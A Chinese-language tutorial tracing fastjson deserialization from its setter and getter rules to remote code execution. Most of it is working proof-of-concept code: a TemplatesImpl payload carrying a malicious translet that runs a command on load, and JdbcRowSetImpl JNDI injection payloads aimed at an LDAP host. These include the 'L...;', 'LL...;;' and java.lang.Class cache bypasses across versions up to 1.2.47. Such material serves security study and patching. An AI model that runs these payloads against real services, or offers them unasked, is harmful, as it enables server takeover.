FastJson从0到RCE学习之路

简介

fastjson是alibaba开源的一款高性能功能完善的JSON库,项目链接https://github.com/alibaba/fastjson/。

前置知识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import com.alibaba.fastjson.JSON;
import java.util.Properties;
public class User {
public String name;
private int age;
private Boolean sex;
private Properties prop;
public User(){
System.out.println("User() is called");
}
public void setAge(int age){
System.out.println("setAge() is called");
this.age = age;
}
public int getAge(){
System.out.println("getAge() is called");
return 1;
}
public void setName(String aa){
System.out.println("setName() is called");
this.name=aa;
}
public String getName(){
System.out.println("getName() is called");
return this.name;
}
public void setSex(boolean a){
System.out.println("setSex() is called");
this.sex = a;
}
public Boolean getSex(){
System.out.println("getSex() is called");
return this.sex;
}
public Properties getProp(){
System.out.println("getProp() is called");
return this.prop;
}
public void setProp(Properties a){
System.out.println("setProp() is called");
this.prop=a;
}

public String toString(){
String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
return s;
}
public static void main(String[] args){
String jsonstr = "{\"@type\":\"User\", \"name\":\"Tom\", \"age\": 1, \"prop\": {}, \"sex\": 1}";
System.out.println("=========JSON.parseObject======");
Object obj1 = JSON.parseObject(jsonstr);
System.out.println("=========JSON.parseObject指定类======");
Object obj3 = JSON.parseObject(jsonstr,User.class);
System.out.println("=========JSON.parse======");
Object obj2 = JSON.parse(jsonstr);
}
}

这段代码就是在模拟Json字符串转换成User对象的过程,执行结果为:

@type用来指定Json字符串还原成哪个类对象,在反序列化过程中里面的一些函数被自动调用,Fastjson会根据内置策略选择如何调用这些函数,在文件com.alibaba.fastjson.util.JavaBeanInfo中有定义,简化如下

对于set函数主要有这几个条件:

1
2
3
4
5
1、方法名长度大于等于4		methodName.length() >= 4 
2、方法名以set开头 method.getParameterTypes()
2、方法不能为静态方法 !Modifier.isStatic(method.getModifiers())
3、方法的类型为void或者为类自身的类型 (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))
4、参数个数为1 method.getParameterTypes()==1

对于get函数主要有这几个条件:

1
2
3
4
5
1、方法名长度大于等于4 		methodName.length() >= 4
2、方法名以get开头且第四个字母为大写 methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))
3、方法不能为静态方法 !Modifier.isStatic(method.getModifiers())
4、方法不能有参数 method.getParameterTypes().length == 0
5、方法的返回值必须为Collection、Map、AtomicBoolean、AtomicInteger、AtomicLong之一 (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())

谨记:

public修饰符的属性会进行反序列化赋值,private修饰符的属性不会直接进行反序列化赋值,而是会调用setxxx(xxx为属性名)的函数进行赋值。

getxxx(xxx为属性名)的函数会根据函数返回值的不同,而选择被调用或不被调用。

在此之前请多加本地fuzz,这是理解fastjson的前置知识。

fastjson的安全特性

  • 无参默认构造方法或者注解指定
  • Feature.SupportNonPublicField才能打开非公有属性的反序列化处理
  • @type可以指定反序列化任意类,(具体情况)调用其set,get方法

基于TemplatesImpl(1.2.22-1.2.24适用)

poc

适用范围:1.2.22-1.2.24

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class TemplatesImplPoc {
public static String readClass(String cls) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}

public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();

final String evilClassPath = System.getProperty("user.dir") + "\\src\\main\\java\\Test.class";
System.out.println(evilClassPath);
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\"" + evilCode + "\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//assertEquals(Model.class, obj.getClass());
}

public static void main(String args[]) {
try {
test_autoTypeDeny();
} catch (Exception e) {
e.printStackTrace();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//pom.xml加上如下几个依赖
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.10</version>
</dependency>
<dependency>
<groupId>xalan</groupId>
<artifactId>xalan</artifactId>
<version>2.7.2</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.3</version>
</dependency>

基于JdbcRowSetImpl(<1.2.24)

poc

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplPoc {
public static void main(String[] args) {
String json = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}";
JSON.parse(json);
}
}

基于JdbcRowSetImpl(1.2.25<=fastjson<=1.2.41)

poc

利用条件之一,需要开启autoType

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class JdbcRowSetImplPoc {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String json = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}";
JSON.parse(json);
}
}

基于JdbcRowSetImpl(1.2.25<=fastjson<=1.2.42)

poc

利用条件之一,需要开启autoType

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class JdbcRowSetImplPoc {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String json = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1099/ExecTest\",\"autoCommit\":true}";
JSON.parse(json);
}
}

基于JdbcRowSetImpl(fastjson<=1.2.47)

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class JdbcRowSetImplPoc {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String json = "{" +
" \"a\": {" +
" \"@type\": \"java.lang.Class\", " +
" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"" +
" }, " +
" \"b\": {" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", " +
" \"dataSourceName\": \"ldap://localhost:1099/ExecTest\", " +
" \"autoCommit\": true" +
" }" +
"}";
JSON.parse(json);
}
}